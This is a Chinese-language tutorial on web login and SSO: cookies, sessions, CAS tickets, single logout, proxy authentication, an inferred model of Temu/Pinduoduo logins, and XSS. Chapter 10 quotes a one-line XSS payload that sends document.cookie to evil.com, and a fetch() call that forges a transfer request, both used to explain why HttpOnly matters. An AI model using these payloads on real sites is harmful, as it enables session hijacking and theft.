一次登录，通行天下
—— 登录鉴权体系深潜指南

从浏览器里那一条 Set-Cookie 开始，一路走到 CAS 的票据联邦，再到 Temu 内部 tools / pai / ab 多个子域如何共享一次登录。本指南用 动画 把每一个请求、每一条重定向、每一张票据演给你看，目标是让你达到 超出行业平均 的专家认知 —— 不仅能讲清"是什么"，还能讲清"为什么这样设计、换了你会怎么做"。

一句话理解 SSO

SSO（Single Sign-On，单点登录）不是某个具体协议，而是一个 目标：用户在 一个地方 登录一次，就能访问 多个相互独立的应用 而无需重复输密码。CAS、OAuth 2.0、OIDC、SAML 都是达成这个目标的不同协议实现。本指南主角 CAS 是企业内网多系统 SSO 的经典方案，也正是大厂内部工具门户（如 Temu 的 tools/pai/ab）最可能采用的模式。

🍪 Cookie 鉴权 —— 浏览器里的通行证

几乎所有 Web 登录的底层都是 cookie。理解 cookie 的作用域规则，是理解 SSO 跨域难题的钥匙。

Cookie 是什么

Cookie 是服务端通过 Set-Cookie 响应头写给浏览器的一小段键值对，浏览器会把它存储起来，并在后续对该域的请求中通过 Cookie 请求头自动带回。它本质上是浏览器替你保管的"身份证"——你不用每次手动出示。

# 服务端下发
Set-Cookie: sessionid=abc123; Domain=tools.temuid.com; Path=/; HttpOnly; Secure; SameSite=Lax

# 浏览器之后请求同域时自动带上
Cookie: sessionid=abc123

Set-Cookie 的每个属性都关乎安全

核心难点：Domain 决定了 cookie 的"可见范围"

这是理解后面 SSO 跨子域的命门。看一个对比：SSO 门户把登录态 cookie 写在哪个 Domain，直接决定了哪些子域能"免登录感知"它。

🗄️ Session 管理 —— cookie 只存 ID，状态在服务端

Cookie 存在浏览器，是"可以被偷走"的客户端存储。所以现代登录把 cookie 只当索引（存一个 session ID），真正的登录状态放服务端 —— 这就是 session。

Session 的工作机制

用户登录成功后，服务端创建一条 session 记录（含用户 ID、角色、登录时间等），生成一个不可猜测的随机 session ID，通过 Set-Cookie 写给浏览器。之后浏览器每次请求带上这个 ID，服务端拿 ID 去"查表"还原出用户身份。

# 登录响应：服务端建 session，下发 ID
Set-Cookie: sessionid=8f3a9c2b...; HttpOnly; Secure; SameSite=Lax

# 服务端存储（概念上）
sessions["8f3a9c2b..."] = { uid: 1024, role: "ops", loginAt: ..., expireAt: ... }

Session 存哪里：单机 vs 分布式

两大经典攻击与防御

超时策略：绝对 vs 空闲

• 空闲超时（idle / sliding）：从最后一次活动起算，超 N 分钟无操作即失效。每次请求会"续期"。适合高频使用的工具系统。
• 绝对超时（absolute）：从登录时刻起算，到点必失效，无论是否活跃。适合高安全场景（如财务系统强制 8 小时重登）。
• 生产常两者叠加：取"先到的那个"。

🎫 CAS 票据全家桶 —— 一次性凭据的艺术

CAS（Central Authentication Service，中央认证服务）是 Apereo 开源的企业 SSO 协议。它的精髓不在密码，而在一整套票据——每张票据有精确的存身之处、生命周期与"是否一次性"。理解这 7 张票，就理解了 CAS 的全部。

七张票的关系全景

                     ┌─────────────────────────────────────┐
                     │        CAS Server（认证中心）        │
                     │  ┌─────────────────────────────┐    │
                     │  │  TGT  Ticket-Granting Ticket   │    │  ← SSO 会话根（服务端）
                     │  │  （所有 ST 的"母票"，可复用）  │    │
                     │  └──────────┬──────────────────┘    │
                     │             │ 派生                    │
                     │     ┌───────┴────────┬──────────┐    │
                     │     ▼                ▼          ▼    │
                     │  ST(给tools)     ST(给pai)    ST(给ab)  ← 一次性服务票
                     └─────┬───────────────┬────────────────┘
                           │               │
              浏览器投影   │               │ 服务端到服务端验证
            ┌──────────────┘               │（ticket 随 URL 回 service）
            ▼                              ▼
   ┌─────────────────┐          ┌──────────────────────┐
   │  TGC cookie       │          │ service 拿 ST 回调       │
   │ （host-only,      │          │ /p3/serviceValidate   │
   │  仅 CAS 域可见）   │          │  → 返回 user+属性     │
   └─────────────────┘          └──────────────────────┘

   LT 登录票：表单防重放（后退/重提密码）   PGT/PT/PGTIOU：代理链（见第 7 章）

🔐 CAS 首次登录 —— 九步看穿一次完整认证

用户第一次访问受保护的业务系统，从被踢去登录，到最终拿到本地会话。请一步步点 ▶，注意每一步谁在说话、cookie 写在哪、ticket 怎么传。

关键细节拆解

• 第 4 步 POST 凭据：表单里同时提交用户名、密码、lt（登录票）、service。CAS 验证凭据成功后才创建 TGT。
• 第 5 步两个动作合一：响应同时带 Set-Cookie: TGC（写浏览器）和 Location（302 重定向回业务系统并附带 ST）。TGC 的 Path=/cas + host-only，确保它只回 CAS。
• 第 6 步不带 TGC：浏览器请求 tools.temuid.com 时只带 ticket 参数，不带 TGC（TGC 属 CAS 域）。这正是隔离的体现。
• 第 7 步 service 必须原样回传 service 参数：/serviceValidate 的 service 必须与 /login 时逐字节一致（尾斜杠、查询串、大小写都算），否则 INVALID_SERVICE 且 ticket 作废。
• 第 9 步建立本地会话：业务系统拿到 user 后，建立自己的会话 cookie（如 tools_session，host-only 在 tools 域），并把 URL 里的 ticket 消化掉。

第 5 章 · 单点登录 SSO：凭什么不用再输密码

上一章你已经用 tools.temuid.com 登录过一次，浏览器在 login.temuid.com 这个域下种下了一颗 TGC。现在你点开 pai.temuid.com（另一个业务系统）——它从没见过你，却不弹登录框直接放你进来。 这背后就是 SSO 的全部魔法。关键不是"它认识你"，而是它把"你是谁"这件事委托给了一个 你已经认证过的中心，而那个中心用一颗 cookie 记住了你的会话。

为什么 TGC 必须用 SameSite=Lax，而不是 Strict？

这是面试和工程里最容易被答错的一点。直觉上"Strict 更安全"，但在 SSO 场景下 Strict 会直接破坏登录。看动画第 3 步：浏览器从 pai.temuid.com 被 302 跳转到 login.temuid.com/login。 这是一次跨站点的顶层导航（pai 子域 → login 子域，若视为不同站点）。 如果 TGC 是 SameSite=Strict，浏览器在这一跳里 不会携带 TGC，CAS 看不到 TGC 就以为你没登录，于是又给你弹登录框—— SSO 彻底失效。

SameSite=Lax 的设计恰好允许安全的顶层 GET 跳转携带 cookie， 又能挡住跨站 POST（CSRF 的主要载体）。所以 Lax 是 SSO 场景下"安全 × 可用"的精确平衡点。 这也是为什么 CAS 官方默认 TGC 用 Lax 而非 Strict——不是疏忽，是协议本身的必然要求。

两个特殊参数：renew 与 gateway

这两个参数揭示了 SSO 的精细控制力：认证不是"全有或全无"，而是可以按业务敏感度 分层认证。Temu 内部工具里，"查看报表"用普通 SSO，"修改投放预算/提现"则可叠加 renew=true 重新验证——这就是同一套 TGC 之上的安全分层。

第 6 章 · 单点登出 SLO：登录容易登出难

SSO 让你"一次登录处处通行"，但硬币的另一面是：你登录过 N 个服务，每个都在自己域下种了 独立的会话 cookie。单点登出（Single Sign-Out, SLO）要解决的，就是"在 CAS 登出时， 把这 N 个服务的会话全部废掉"。这是整个 CAS 协议里最不可靠、最容易被忽略的一环—— 因为它依赖"服务端到服务端"的通知，而任何一环失败都会留下"幽灵会话"。

两种 SLO 通道

关键纽带是 SessionIndex：CAS 在签发每张 ST 时记录"这张票对应哪个 session"， 登出时把 ST 作为 SessionIndex 塞进 LogoutRequest，服务据此精准定位要销毁的那条 session （而不是把当前用户的所有 session 都干掉）。这就是为什么 ST 即使一次性消费后，CAS 仍要 保留它的元数据一段时间——为了 SLO 能找回来。

第 7 章 · 代理认证 Proxy：让服务"代你"去调另一个服务

到这里你可能会问：如果 tools 这个服务后端需要调用 pai 的 API， 且要证明"我是代表 leo 在调用"，CAS 能做到吗？——能。这就是代理认证（Proxy Authentication）， CAS 协议里最精巧、也最容易被忽略的能力。它解决的是"服务到服务、且身份可传递"的问题， 比 OAuth 2.0 的 client_credentials 多了一份"用户授权链"的语义。

PGT 的交付：PGTIOU 收据机制

PGT 不能明文出现在浏览器可见的 URL 里（否则被截获即等于窃取委托权）。CAS 用了一个巧妙的 收据配对机制：服务调 /serviceValidate 时带上自己的 pgtUrl（回调地址）， CAS 校验 ST 成功后，异步向 pgtUrl 发送真实 PGT；同时在 serviceValidate 的响应里返回一个 PGTIOU（一次性收据，前缀 PGTIOU-）。服务把收到的 PGT 与 PGTIOU 配对存好， 以后用 PGT 去换 PT。这样 PGT 永远只在后通道流转，浏览器和 ST 重放者都拿不到。

proxies 链：可审计的委托路径

当 /proxyValidate 校验一张 PT 时，CAS 不仅返回用户身份，还返回一条 proxies 链——例如 ["tools.temuid.com", "pai.temuid.com"]，表示"这张票是 tools 代用户、再委托 pai 代为调用时签发的"。目标服务可据此做链路审计与授权策略： "只接受链路里包含 tools 的代理调用"，或"链路深度超过 2 即拒绝"。这是 OAuth access_token 不具备的——后者是个不透明的"全权令牌"，看不出调用链。

第 8 章 · 实战：Temu / 拼多多的登录体系拆解

前面 7 章是"教科书里的 CAS"。这一章回到你最关心的真实问题： Temu/拼多多 的 tools、pai、ab 这些内部系统，到底怎么做 SSO？ 这里必须先立一条规矩——大厂的内部 IdP 几乎从不公开文档，所以本章把每条信息按可信度分级，绝不把推断包装成事实。

8.1 三类登录面（一张图看懂全局）

Temu/拼多多至少有三套相互独立的登录Realm，各自服务不同人群、用不同协议、落在不同 registrable domain 上。把它们混为一谈是初学者最大的误区。

8.2 为什么推断内部工具"不是 Apereo CAS"？

这是一个值得讲清的工程判断。前面学的 CAS（Apereo CAS）是Java 生态的成熟单点登录产品， 默认用 host-only TGC + ST 票据互认。但拼多多核心网关是 ✅ Go 栈， 内部工具体系庞大且自研程度高，更可能采用自研 passport + API 网关统一鉴权的路线， 而非引入一套 Java 的 CAS Server。关键差异在于 cookie 的作用域策略——这正是本章的核心洞察：

8.3 内部工具 SSO 架构模型（tools / pai / ab）

下面这个流程是 🟡 推断模型，用于把前面学到的概念落到拼多多语境。 核心思想：passport 中心发一颗 Domain 级 cookie，网关统一校验，子域免跳转直连。 对比第 4-5 章的 CAS 流程，你会发现"ST 票据互认"这一整层被 Domain 共享 cookie + 网关校验替代了。

注意动画第 2 步的 Domain=.pinduoduo.com——这是整个模型的"命门"。 它让 tools/pai/ab 任何子域请求都自动带上 passport token， 所以第 7 步访问 pai 时不再需要跳转 passport，网关直接校验放行。这是相比 CAS 的巨大简化， 也是为什么大厂内部系统登录"几乎无感"。🟡 代价：任何子域的 XSS 都可能读到这颗 cookie（若非 HttpOnly）或借其身份发请求，所以内部工具强制 CSP / HttpOnly / 网关侧风控（IP、设备指纹、频次）是必须的补偿控制。

8.4 商家端：标准 OAuth 2.0 授权码

商家侧（seller.temu.com、开放平台 oauth.pinduoduo.com）走的是✅ 最标准的 OAuth 2.0 授权码流程：商家在开放平台注册应用 → 拿 client_id/secret → 引导用户到 oauth.pinduoduo.com 授权 → 回调拿 code → 后端换 access_token（有效期约 ✅ 24h） + refresh_token。API 调用用 access_token + ✅ MD5 签名防篡改。 这与第 9 章对比表里的 OAuth 2.0 列完全对应——商家端是"教科书 OAuth"。

8.5 消费者端：opaque token + 安装态

消费者 App 不走浏览器 cookie 那套，而是✅ 设备级 token： 首次安装/启动生成 install_token + api_uid（即使未登录也有匿名身份用于推荐）， 登录后拿 Accesstoken。这些 token 是 ✅ opaque（不透明）字符串 而非 JWT——服务端无法从 token 本身读出信息，必须回 Redis/DB 查。选择 opaque 而非 JWT 的原因： 🟡 可即时吊销（JWT 一旦签发到过期前无法撤销）、签名验证成本可控、 且拼多多有统一网关做集中校验，不需要 JWT 的"无状态分发"优势。

第 9 章 · 横评：CAS / OAuth 2.0 / OIDC / SAML 2.0

学完 CAS 你可能会问：那 OAuth、OIDC、SAML 又是什么？它们和 CAS 是竞争关系吗？ 答案是：它们解决的是同一类问题（联邦身份/单点登录）的不同切面，且诞生背景不同。 理解它们的差异，你才能在架构选型时说出"为什么是这个"。下面这张表是本课的"决策罗盘"。

选型决策树（背下这个就够了）

回到 Temu 体系验证这个决策树：消费者用 opaque token（自有移动端，不走这些标准）； 商家用 OAuth 2.0（开放给第三方 ISV，标准授权）；内部工具用自研 passport（封闭内网 SSO）。 三种选择恰好覆盖了"自研 vs 标准"、"授权 vs 认证"、"移动 vs Web"的全谱——这是把本课学透后应该具备的"看一眼架构就能解释为什么"的能力。

第 10 章 · XSS 脚本窃取与会话劫持

前面所有章节都在讲"如何正确发 cookie / 建 session"。这一章讲它们怎么被偷走。 XSS（Cross-Site Scripting，跨站脚本）的本质不是攻击服务器，而是：攻击者把一段 JavaScript 注入到你的网页里， 这段脚本在受害者浏览器中、以"你网站的身份"执行。

10.1 三种 XSS 注入方式

10.2 "脚本窃取"特指：偷你的会话 cookie

XSS 能干很多坏事，"脚本窃取"最典型的是偷 cookie → 会话劫持（session hijacking）。 攻击代码往往就一行：new Image().src='https://evil.com/steal?c='+document.cookie。 攻击者不需要你的密码——他只要那串 sessionid，因为服务器只认 cookie 不认人。 下面动画演示完整攻击链，以及加上 HttpOnly 后的防御对比。

10.3 关键专家点：HttpOnly 才防"XSS 偷 cookie"，SameSite 不防

这是最常被搞混的一对。用一个"两个隔间"心智模型讲透：浏览器把每颗 cookie 同时存在两个隔间里—— 网络隔间（发 HTTP 请求时自动带上，网站正常工作需要）和 JS 隔间（document.cookie 能读到，XSS 就是从这偷的）。 HttpOnly 的作用是把 cookie 从 JS 隔间移除，XSS 便读不到，但网络隔间照常，网站仍能用。

              一颗 cookie（如 sessionid=ABC）
                       │
       ┌───────────────┴───────────────┐
       ▼                                ▼
  ① 网络隔间                      ② JS 隔间
  发 HTTP 请求自动带上             document.cookie 能读到
  （网站正常工作需要）            （XSS 就是从这里偷的）
       │                                │
       └──────── HttpOnly 的作用 ───────┘
            把 cookie 从 ② JS 隔间拿掉
            → document.cookie 读不到 → XSS 偷不到
            → 但 ① 网络隔间照常，网站仍能用

10.4 更深一层：HttpOnly 也不够，XSS 仍能"现场以你身份操作"

就算 cookie 是 HttpOnly 的、XSS 读不到，攻击者仍能在你网页里以你的身份发请求—— 因为脚本发同源请求时，浏览器照样自动附上那颗 HttpOnly cookie：

// cookie 虽 HttpOnly 读不到，但脚本在你网页里发同源请求时，
// 浏览器会自动带上那颗 cookie（网络隔间照常工作）：
fetch('/api/transfer', {method:'POST', body:'to=attacker&amount=10000'});
// 服务器收到请求 + 合法 sessionid → 执行转账

10.5 回到 Temu：为什么 Domain=.pinduoduo.com 放大了 XSS 爆炸半径

第 11 章 · 安全清单与反模式：从会用到不被坑

前 9 章讲"怎么运转"，这一章讲"怎么不出事"。登录体系的安全事故几乎都来自少数几个 反复出现的反模式。把它们内化成肌肉记忆，你就越过了"会用"到"专家"的最后一道坎。

11.1 Cookie 八大属性自检表

11.2 CAS 各票据的安全属性（一图记忆）

11.3 Session 管理六条铁律

1. 熵 ≥ 64 位，CSPRNG 生成。会话 ID 必须不可预测，否则可枚举劫持。Math.random() 不合格。
2. 登录后立即 regenerate ID。防 session fixation——否则攻击者预设的 session ID 在你登录后变成合法会话。
3. 绝对超时 + 空闲超时双控。空闲续期防不了"长期悬挂"，必须叠绝对超时（如 8h 硬上限）。
4. 共享存储而非 sticky session。多实例用 Redis 集中存 session，避免节点故障丢会话、避免 sticky 负载不均。
5. 敏感操作 step-up。改密/支付/提现叠加 renew 重新认证，不要复用低敏会话。
6. 登出彻底。服务端销毁 session + 客户端 Max-Age=0 删 cookie + 吊销相关 token；别忘了 SLO 通知兄弟服务。

11.4 高频反模式黑名单（看到就改）

11.5 一句话总结全课

登录的本质是用可验证的凭据换取一份带状态的信任。cookie 是信任的载体，session 是信任的服务端镜像， CAS/SSO 是信任在多服务间的传递与互认，SLO 是信任的协同撤销，Proxy 是信任的受托代行。 Temu 的三套体系证明：没有"最好的"协议，只有匹配信任边界与性能约束的协议。当你能对每个属性、每张票据、 每次跳转说出"为什么是这样、不这样会怎样"，你就达到了超出行业平均的专家认知。

— 全 11 章完。用右上角主题按钮切换明暗，用每段动画的 ◀ ▶ 单步、↻ 重放、进度条跳转反复研习。—